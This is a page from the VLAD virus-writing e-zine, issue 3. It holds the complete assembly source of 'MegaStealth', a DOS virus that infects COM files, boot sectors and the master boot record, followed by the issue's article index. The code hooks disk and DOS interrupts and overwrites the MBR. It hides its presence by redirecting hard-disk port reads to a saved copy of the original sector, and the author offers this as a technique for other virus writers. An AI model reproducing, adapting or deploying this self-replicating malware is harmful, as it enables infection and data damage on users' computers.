Virus Labs & Distribution
VLAD #3 - Megastealth


;       MegaStealth Virus Source by qark
;
;       COM/BS/MBR Infector
;       It uses the new form of stealth developed by the 'strange' virus in
;       that even if you are using the original ROM int 13h the virus will
;       still successfully stealth.  It does this by hooking the hard disk
;       IRQ, int 76h, and checking the ports for a read to the MBR.  If the
;       MBR is being read, the ports will be changed to cause a read from
;       sector four instead.
;
;       Noone has the 'strange' virus (and believe me, every VX BBS in the
;       world has been checked), so I decided to develop the technology
;       independently and make the information public.
;




	org     0

	cld
	mov     ax,cs
	or      ax,ax
	jz      bs_entry
	jmp     com_entry

;------------------- Boot Sector Stub ----------------
Marker  db      '[MegaStealth] by qark/VLAD',0

bs_entry:
	xor     ax,ax
	mov     si,7c00h
	cli
	mov     ss,ax
	mov     sp,si
	sti
	mov     es,ax
	mov     ds,ax

	;CS,DS,ES,SS,AX=0    SI,SP=7C00H
	
	sub     word ptr [413h],2       ;Allocate 2k of memory.

	int     12h                     ;Get memory into AX.

	mov     cl,6
	shl     ax,cl
	mov     es,ax

	mov     ax,202h
	xor     bx,bx
	xor     dh,dh
	mov     cx,2
	or      dl,dl
	js      hd_load

	db      0b9h                    ;MOV CX,xxxx
	floppy_sect     dw      0
	db      0b6h                    ;MOV DH,xx
	floppy_head     db      0

hd_load:
	int     13h                     ;Read our virus in.

	mov     si,13h*4
	mov     di,offset i13
	movsw
	movsw
	mov     word ptr [si-4],offset handler
	mov     word ptr [si-2],es

	mov     byte ptr es:set_21,0
	
	;Test for an 8088.
	mov     al,2
	mov     cl,33
	shr     al,cl
	test    al,1
	jz      no_int76                ;8088 doesn't use int76

	mov     si,76h*4                ;Set int76
	mov     di,offset i76
	movsw
	movsw
	mov     word ptr [si-4],offset int76handler
	mov     word ptr [si-2],es

	mov     byte ptr es:llstealth_disable,0

no_int76:
	int     19h                     ;Reload the original bootsector.

;------------------- COM Stub ----------------

com_entry:

	db      0beh                    ;MOV SI,xxxx
	delta   dw      100h

	mov     ax,0f001h
	int     13h

	cmp     ax,10f0h
	je      resident

	mov     ax,ds
	dec     ax
	mov     ds,ax

	cmp     byte ptr [0],'Z'
	jne     resident

	sub     word ptr [3],7dh
	sub     word ptr [12h],7dh
	mov     ax,word ptr [12h]

	push    cs
	pop     ds
	mov     es,ax
	xor     di,di
	
	push    si

	mov     cx,1024
	rep     movsb

	xor     ax,ax                   ;Set int13
	mov     ds,ax
	mov     si,13h*4
	mov     di,offset i13
	movsw
	movsw
	mov     word ptr [si-4],offset handler
	mov     word ptr [si-2],es

	pop     bx
	push    bx
	add     bx,offset end_virus
	
	push    es
	
	push    cs
	pop     es
	mov     ax,201h
	mov     cx,1
	mov     dx,80h
	int     13h
	
	pop     es

	mov     si,21h*4
	mov     di,offset i21
	movsw
	movsw
	mov     word ptr [si-4],offset int21handler
	mov     word ptr [si-2],es
	
	mov     byte ptr es:set_21,1
	pop     si
	
resident:
	push    cs
	pop     ds
	push    cs
	pop     es

	add     si,offset old4
	mov     di,100h
	push    di
	movsw
	movsw

	ret

old4    db      0cdh,20h,0,0
new4    db      0e9h,0,0,'V'

;------------------- Int 21 ----------------

Int21handler:
	push    ax
	push    es
	mov     ax,0b800h
	mov     es,ax
	mov     word ptr es:[340],0afafh

	pop     es
	pop     ax

	push    ax
	xchg    al,ah
	cmp     al,3dh
	je      chk_infect
	cmp     al,4bh
	je      chk_infect
	cmp     al,43h
	je      chk_infect
	cmp     al,56h
	je      chk_infect
	cmp     ax,6ch
	je      chk_infect
	pop     ax
exit_21:
	db      0eah
	i21     dd      0

far_pop:
	jmp     pop_21

chk_infect:
	push    bx
	push    cx
	push    dx
	push    si
	push    di
	push    ds
	push    es

	cmp     al,6ch
	jne     no_6c
	mov     dx,si
no_6c:
	mov     si,dx
	cld
keep_lookin:
	lodsb
	cmp     al,'.'
	jne     keep_lookin
	lodsw
	or      ax,2020h
	cmp     ax,'oc'
	jne     far_pop
	lodsb
	or      al,20h
	cmp     al,'m'
	jne     far_pop
	mov     ax,3d02h
	call    int21h
	jc      far_pop
	xchg    bx,ax
	
	mov     ah,3fh
	mov     cx,4
	push    cs
	pop     ds
	mov     dx,offset old4
	call    int21h

	mov     ax,word ptr [old4]
	cmp     al,0e9h
	jne     chk_exe
	mov     al,byte ptr old4+3
	cmp     al,'V'
	je      close_exit
	jmp     infect
chk_exe:
	or      ax,2020h
	cmp     ax,'mz'
	je      close_exit
	cmp     ax,'zm'
	je      close_exit
infect:
	call    lseek_end
	or      dx,dx                   ;Too big
	jnz     close_exit
	cmp     ax,63500
	ja      close_exit
	cmp     ax,1000
	jb      close_exit

	push    ax
	add     ax,100h
	mov     delta,ax
	pop     ax
	sub     ax,3
	mov     word ptr new4+1,ax

	mov     ax,5700h
	call    int21h
	jc      close_exit
	push    cx
	push    dx

	mov     ah,40h
	mov     cx,offset end_virus
	xor     dx,dx
	call    int21h
	jc      time_exit

	call    lseek_start
	
	mov     ah,40h
	mov     cx,4
	mov     dx,offset new4
	call    int21h
	

time_exit:
	pop     dx
	pop     cx
	mov     ax,5701h
	call    int21h

close_exit:
	mov     ah,3eh
	call    int21h
pop_21:
	pop     es
	pop     ds
	pop     di
	pop     si
	pop     dx
	pop     cx
	pop     bx
	pop     ax
	jmp     exit_21

lseek_start:
	mov     al,0
	jmp     short lseek
lseek_end:
	mov     al,2
lseek:
	xor     cx,cx
	cwd
	mov     ah,42h
	call    int21h
	ret


Int21h:
	pushf
	call dword ptr cs:i21
	ret

	set_21  db      0       ;1 = 21 is set
;------------------- Int 13 ----------------

Stealth:
	mov     cx,4
	mov     ax,201h

	or      dl,dl
	js      stealth_mbr             ;DL>=80H then goto stealthmbr

	mov     cl,14
	mov     dh,1
stealth_mbr:
	call    int13h
	jmp     pop_end

res_test:
	xchg    ah,al
	iret

multipartite:
	cmp     byte ptr cs:set_21,1
	je      jend
	cmp     word ptr es:[bx],'ZM'
	jne     jend
	push    si
	push    di
	push    ds
	push    es

	xor     si,si
	mov     ds,si
	push    cs
	pop     es

	mov     si,21h*4
	mov     di,offset i21
	movsw
	movsw
	mov     word ptr [si-4],offset int21handler
	mov     word ptr [si-2],es

	mov     byte ptr cs:set_21,1

	pop     es
	pop     ds
	pop     di
	pop     si
	jmp     jend

rend:
	retf    2

Jend:
	db      0eah                    ;= JMP FAR PTR
	i13     dd      0               ;Orig int13h

Handler:
	cmp     ax,0f001h               ;You fool.
	je      res_test

	cmp     ah,2
	jne     multipartite

	cmp     cx,1
	jne     multipartite

	or      dh,dh
	jnz     multipartite
	

	call    int13h                  ;Call the read so we can play with
					; the buffer.
	jc      rend                    ;The read didn't go through so leave

	pushf
	push    ax
	push    bx
	push    cx
	push    dx
	push    si
	push    di
	push    ds
	push    es
	
	cmp     word ptr es:[bx+offset marker],'M['
	je      stealth

	mov     byte ptr cs:llstealth_disable,1

	mov     cx,4                    ;Orig HD MBR at sector 3.

	or      dl,dl                   ;Harddisk ?
	js      write_orig              ;80H or above ?

	;Calculate shit like track/head for floppy******
	push    dx

	push    cs
	pop     ds

	mov     ax,es:[bx+18h]          ;Sectors per track.
	sub     es:[bx+13h],ax          ;Subtract a track.
	mov     ax,es:[bx+13h]          ;AX=total sectors.
	mov     cx,es:[bx+18h]          ;CX=sectors per track
	xor     dx,dx
	div     cx                      ;Total sectors/sectors per track

	xor     dx,dx
	mov     cx,word ptr es:[bx+1ah] ;CX=heads
	div     cx                      ;Total tracks/heads

	push    ax
	xchg    ah,al                   ;AX=Track
	mov     cl,6
	shl     al,cl                   ;Top 2 bits of track.
	or      al,1                    ;We'll use the first sector onward.
	mov     word ptr floppy_sect,ax

	pop     ax
	mov     cx,word ptr es:[bx+1ah] ;CX=heads
	xor     dx,dx
	div     cx                      ;Track/Total Heads

	mov     byte ptr floppy_head,dl ;Remainder=Head number

	mov     cx,14                   ;Floppy root directory.
	pop     dx
	mov     dh,1

write_orig:
	mov     ax,301h                 ;Save the original boot sector.
	call    int13h
	jc      pop_end

	push    es
	pop     ds

	mov     si,bx
	push    cs
	pop     es                      ;ES=CS
	mov     cx,510                  ;Move original sector to our buffer.
	cld
	mov     di,offset end_virus
	rep     movsb
	
	mov     ax,0aa55h               ;End of sector marker.
	stosw

	push    cs
	pop     ds

	xor     si,si
	mov     di,offset end_virus
	mov     cx,offset com_entry
	rep     movsb

	mov     bx,offset end_virus
	
	mov     ax,301h
	mov     cx,1
	xor     dh,dh
	
	call    int13h
	jc      pop_end
	
	mov     ax,302h
	mov     cx,2
	xor     bx,bx
	or      dl,dl
	js      mbr_write

	mov     cx,word ptr floppy_sect
	mov     dh,byte ptr floppy_head
	
mbr_write:

	call    int13h                  ;Write the virus!

pop_end:
	mov     byte ptr cs:llstealth_disable,0

	pop     es
	pop     ds
	pop     di
	pop     si
	pop     dx
	pop     cx
	pop     bx
	pop     ax
	popf    
	jmp     rend                                        


Int13h  Proc    Near
; AH & AL are swapped on entry to this call.

	pushf                   ;Setup our interrupt
	push    cs              ;Our segment
	call    jend            ;This will also fix our AX
	ret

Int13h  EndP

;------------------- Int 76 ----------------

not_bs:
	pop     es
	pop     ds
	pop     di
	pop     dx
	pop     cx
	pop     bx
	pop     ax
no_stealth:
	db      0eah                    ;JMPF
	i76     dd      0
	
Int76Handler:
	cmp     byte ptr cs:llstealth_disable,1
	je      no_stealth

	push    ax
	push    bx
	push    cx
	push    dx
	push    di
	push    ds
	push    es

	mov     dx,1f3h
	in      al,dx           ;Sector number.
	cmp     al,1
	jne     not_bs
	inc     dx              ;1f4h
	in      al,dx           ;Cylinder Low
	cmp     al,0
	jne     not_bs
	inc     dx              ;1f5h
	in      al,dx           ;Cylinder High
	cmp     al,0
	jne     not_bs
	inc     dx              ;1f6h
	in      al,dx
	and     al,0fh          ;Remove everything but the head.
	cmp     al,0            ;Head
	jne     not_bs

	inc     dx              ;1f7h
	in      al,dx

	test    al,0fh
	jnz     disk_read
	jmp     not_bs          ;Must be a write.
disk_read:
	cld
	mov     dx,1f0h
	push    cs
	pop     es
	mov     di,offset end_virus
	mov     cx,512/2
	rep     insw            ;Read in what they read.

	;Now reset the whole system for a read from sector 4.

	mov     dx,1f2h
	mov     al,1            ;One sector.
	out     dx,al
	inc     dx
	mov     al,4            ;Sector 4 instead.
	out     dx,al   ;1f3
	mov     al,0
	inc     dx
	out     dx,al   ;1f4
	inc     dx
	out     dx,al   ;1f5
	inc     dx
	mov     al,0a0h
	out     dx,al   ;1f6

	mov     dx,1f7h
	mov     al,20h          ;Read function.
	out     dx,al
not_done:
	in      al,dx
	test    al,8
	jz      not_done
	jmp     not_bs

llstealth_disable       db      0       ;0 means int76 enabled 
;---------------------- 76 -------------------

end_virus:

- VLAD #3 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

The Press
ARTICLE.2_2       Fooling TBScan
ARTICLE.2_3       Backdoors
ARTICLE.2_4       Tracing Int21
ARTICLE.2_5       Replication
ARTICLE.2_6       VSUM denial
ARTICLE.2_7       Proview

ARTICLE.3_1      

TBTSR Checking
ARTICLE.3_2       TBScan Flags
ARTICLE.3_3       HD Port Reading
ARTICLE.3_4       HD Port Writing
ARTICLE.3_5       TBAV Monitor
ARTICLE.3_6       Micro128 Disasm
ARTICLE.3_7       Aust403 Disasm

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Hemlock
ARTICLE.4_3       Antipode
ARTICLE.4_4       Insert
ARTICLE.4_5       VLAD-DIR
ARTICLE.4_6       Quantum Magick
ARTICLE.4_7       Mon Ami La Pendule

ARTICLE.5_1      

Monkeys
ARTICLE.5_2       Small Virus
ARTICLE.5_3       Catch-22
ARTICLE.5_4       ART Engine
ARTICLE.5_5       Megastealth
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main